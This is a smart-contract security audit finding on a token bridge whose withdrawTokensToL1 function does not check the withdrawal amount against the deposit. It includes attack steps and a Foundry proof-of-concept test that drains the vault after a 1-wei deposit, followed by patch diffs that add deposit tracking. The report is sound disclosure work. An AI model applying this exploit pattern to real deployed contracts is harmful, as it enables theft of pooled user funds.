Summary
The withdrawTokensToL1() function has no validation on the withdrawal amount being the same as the deposited amount here. As such any user can drain the entire vault. Note that even the docs state that the operator before signing a message, only checks that the user had made a successful deposit; nothing about the deposit amount:
The bridge operator is in charge of signing withdrawal requests submitted by users. These will be submitted on the L2 component of the bridge, not included here. Our service will validate the payloads submitted by users, checking that the account submitting the withdrawal has first originated a successful deposit in the L1 part of the bridge.
Steps:
Attacker deposits 1 wei (or 0 wei) into the L2 bridge.
Attacker crafts and encodes a malicious message and submits it to the operator to be signed by him. The malicious message has amount field set to a high value, like the total funds available in the vault.
Since the attacker had deposited 1 wei, operator approves & signs the message, not knowing the contents of it since it is encoded.
Attacker calls withdrawTokensToL1().
All vault's funds are transferred to the attacker.
Vulnerability Details
The following PoC shows the above attack vector by draining all the funds from the vault.
function test_t0x1cSimpleVaultCleaner() public {
uint256 vaultInitialBalance = token.balanceOf(address(vault));
deal(address(token), address(vault), 100 ether);
assertEq(token.balanceOf(address(vault)), vaultInitialBalance + 100 ether);
vm.startPrank(user);
uint256 depositAmount = 1 wei;
uint256 userInitialBalance = token.balanceOf(address(user));
token.approve(address(tokenBridge), depositAmount);
tokenBridge.depositTokensToL2(user, userInL2, depositAmount);
assertEq(token.balanceOf(address(vault)), vaultInitialBalance + 100 ether + depositAmount);
assertEq(token.balanceOf(address(user)), userInitialBalance - depositAmount);
uint256 vaultBalance = token.balanceOf(address(vault));
bytes memory maliciousMessage = abi.encode(
address(token),
0,
abi.encodeCall(IERC20.transferFrom, (address(vault), user, vaultBalance))
);
vm.stopPrank();
(uint8 v, bytes32 r, bytes32 s) = _signMessage(maliciousMessage, operator.key);
vm.startPrank(user);
tokenBridge.withdrawTokensToL1(user, vaultBalance, v, r, s);
vm.stopPrank();
assertEq(token.balanceOf(address(vault)), 0);
assertEq(token.balanceOf(user), userInitialBalance - depositAmount + vaultBalance);
}
Impact
Attacker can steal all the funds from the vault.
Tools Used
Foundry
Recommendations
Add a mapping that keeps track of the amount deposited by an address inside the function depositTokensToL2(), and validate that inside withdrawTokensToL1(). Here's the git diff patch to be applied:
@@ -32,6 +32,7 @@ contract L1BossBridge is Ownable, Pausable, ReentrancyGuard {
IERC20 public immutable token;
L1Vault public immutable vault;
mapping(address account => bool isSigner) public signers;
+ mapping(address account => uint256 amount) public deposited;
error L1BossBridge__DepositLimitReached();
error L1BossBridge__Unauthorized();
@@ -71,6 +72,7 @@ contract L1BossBridge is Ownable, Pausable, ReentrancyGuard {
if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
revert L1BossBridge__DepositLimitReached();
}
+ deposited[from] += amount;
token.safeTransferFrom(from, address(vault), amount);
// Our off-chain service picks up this event and mints the corresponding tokens on L2
@@ -89,6 +91,7 @@ contract L1BossBridge is Ownable, Pausable, ReentrancyGuard {
* @param s The s value of the signature
*/
function withdrawTokensToL1(address to, uint256 amount, uint8 v, bytes32 r, bytes32 s) external {
+ require(amount == deposited[msg.sender], "Invalid withdrawal amount");
sendToL1(
v,
r,
Of course, this means that the user needs to always withdraw the entire amount deposited by him. In case partial withdrawals are to be allowed too, then an additional mapping would be required which keeps track of the withdrawn amount so far and validates that the requested amount to withdraw is always less than or equal to depositedAmount - withdrawnAmount. Following is the diff patch to be applied in such a case:
@@ -32,6 +32,8 @@ contract L1BossBridge is Ownable, Pausable, ReentrancyGuard {
IERC20 public immutable token;
L1Vault public immutable vault;
mapping(address account => bool isSigner) public signers;
+ mapping(address account => uint256 amount) public deposited;
+ mapping(address account => uint256 amount) public withdrawn;
error L1BossBridge__DepositLimitReached();
error L1BossBridge__Unauthorized();
@@ -71,6 +73,7 @@ contract L1BossBridge is Ownable, Pausable, ReentrancyGuard {
if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
revert L1BossBridge__DepositLimitReached();
}
+ deposited[from] += amount;
token.safeTransferFrom(from, address(vault), amount);
// Our off-chain service picks up this event and mints the corresponding tokens on L2
@@ -89,6 +92,8 @@ contract L1BossBridge is Ownable, Pausable, ReentrancyGuard {
* @param s The s value of the signature
*/
function withdrawTokensToL1(address to, uint256 amount, uint8 v, bytes32 r, bytes32 s) external {
+ require(amount + withdrawn[msg.sender] <= deposited[msg.sender], "Invalid withdrawal amount");
+ withdrawn[msg.sender] += amount;
sendToL1(
v,
r,
